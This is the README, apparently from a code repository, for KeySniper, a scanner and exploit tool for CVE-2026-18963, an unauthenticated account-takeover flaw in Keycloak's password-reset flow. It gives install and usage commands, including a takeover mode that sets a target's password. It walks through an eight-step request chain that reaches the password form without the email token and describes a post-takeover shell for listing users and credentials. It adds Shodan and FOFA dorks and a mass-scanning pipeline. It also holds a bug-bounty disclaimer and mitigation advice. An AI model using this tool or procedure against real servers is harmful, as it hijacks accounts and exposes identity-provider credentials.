
**CVE-2026-18963** — reset-credentials フローを介した、認証されていない Keycloak アカウント乗っ取り。

作者: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — 認証不要のKeycloakアカウント乗っ取り(reset-credentialsフロー経由)
KeySniperは、スコープ内のバグバウンティおよび許可された評価を対象とした本番向けスキャナです。ライブレーダー出力、レルム検出、検出と乗っ取りの判別、対話型ATO後シェル、stdinパイプライン(subfinder → httpx → KeySniper)を備えています。
デフォルトモードは検出(--takeover 0)です。--takeover 1 はターゲット上のアカウントパスワードを変更します。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — 脆弱なパスワード回復メカニズム |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 製品 | Keycloak / Red Hat SSO |
| 修正版 | 26.7.2、26.6.6、26.4.15 |
| 認証 | 不要 |
2つのバグが連鎖します:
tryAnotherWay は、実行IDにスコープされていない汎用の "true" セレクターノートを保存します。ResetCredentialEmail.action() は、ACTION_TOKEN_USER_ID を検証せずに context.success() を呼び出します。結果: 認証不要の呼び出し元が、既知のユーザー名に対してパスワードリセットフローを強制し、メールリンクをクリックせずに UPDATE_PASSWORD に到達できます。
スキャンは「パスワード忘れが存在するか」ではありません。確認条件は以下です:
execution= UUID が変化する(メール実行が漏洩)kc-passwd-update-form が含まれるexec3 = 28e2cd30-… (最初のセレクター)
exec6 = 8fd21174-… (ピボットGET)
UPDATE_PASSWORD
[radar] ログ(Location、JS、ヘッダー、レルムプローブ)302 Location + HTML/JS + well-known + ワードリスト/auth プレフィックス自動検出httpx / subfinder からのstdin URL--takeover 0 検出のみ--takeover 1 パスワード設定(デフォルト SelaM1337@@)--shell ATO後の対話型トークン / 管理APIヘルパーVULN / ATO 赤、SAFE 緑、SKIP 黄python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9以上。
# 検出(パスワード変更なし)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# 乗っ取り + 対話型シェル
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# レルム / ユーザー指定
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# パイプライン
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# リストファイル
python3 KeySniper.py -l urls.txt --takeover 0 -q
パイプライン一括処理では --takeover 1 や --shell を渡さないでください。
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ forgot-password href (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<user>
[5] GET startSessionPolling / restart (存在する場合)
[6] GET 元の reset-credentials URL (ピボット)
→ セレクター再レンダリング + 新しい execution=
[7] POST 古いセレクター(アクショントークンなし)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (--takeover 1 の場合のみ)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update は VULNとしてカウントされません。
単一ターゲットで [ATO] 後にのみ開きます:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
リソースオーナーパスワードグラント(admin-cli、次に account)を使用します。
/admin/realms でHTTP 403が返る場合、Direct Access Grants / 管理者ロールが制限されていることを意味します — ATOは依然として有効です。
/realms/master をプローブし、次に /auth/realms/masterLocation、HTML、JS、"realm":、issuerからレルムを収集/realms/{name} が200 + Keycloakボディを返すレルムを保持/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA(プログラムスコープ):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ の200応答は、ボディに issuer / public_key / login-actions が含まれない限り無視SKIP(レルムでリセットが無効)kc-passwd-update-form なしのセレクター漏洩 → SKIPhttpx のパスはオリジンに切り詰められる(/auth は保持)Keycloak < 26.7.2(26.6.x < 26.6.6、26.4.x < 26.4.15 も該当)。
緩和策: すべてのレルムでパスワード忘れを無効化し、その後アップグレードしてください。
このリポジトリのスクリーンショットは編集済みです(sso.lab.local プレースホルダー)。トークン、パスワード、メール、実際のホストは公開されていません。
Mitsec
X: x.com/ynsmroztas
スコープ内の許可されたターゲットに対する研究目的の使用。スコープ外のホストでは --takeover 1 をオフにしてください。
| フラグ | デフォルト | 意味 |
|---|
-u URL | — | 単一ターゲット |
-l FILE | — | URLリスト |
| stdin | 自動 | httpx の行(最初のフィールド = URL) |
--takeover 0|1 | 0 | 検出 vs パスワード変更 |
-U USER | admin | ターゲットユーザー名 |
-r REALM | auto | レルムを強制または検出 |
--pass | SelaM1337@@ | takeover=1 の場合の新しいパスワード |
-t N | 4 | パイプラインのスレッド数 |
-q | オフ | 結果のみ表示 |
--shell | オフ | ATO後シェル(単一ターゲット) |
| ステータス | 意味 |
|---|
VULN | ピボット + UPDATE_PASSWORD(パスワードは変更されていない) |
ATO | ステップ8が成功 |
SAFE | リセットは開いているが、古いセレクターなし(修正済み) |
SKIP | Keycloakではない / リセット無効 / UPDATEフォームなしの漏洩 |
FAIL | ネットワーク / 予期しない例外 |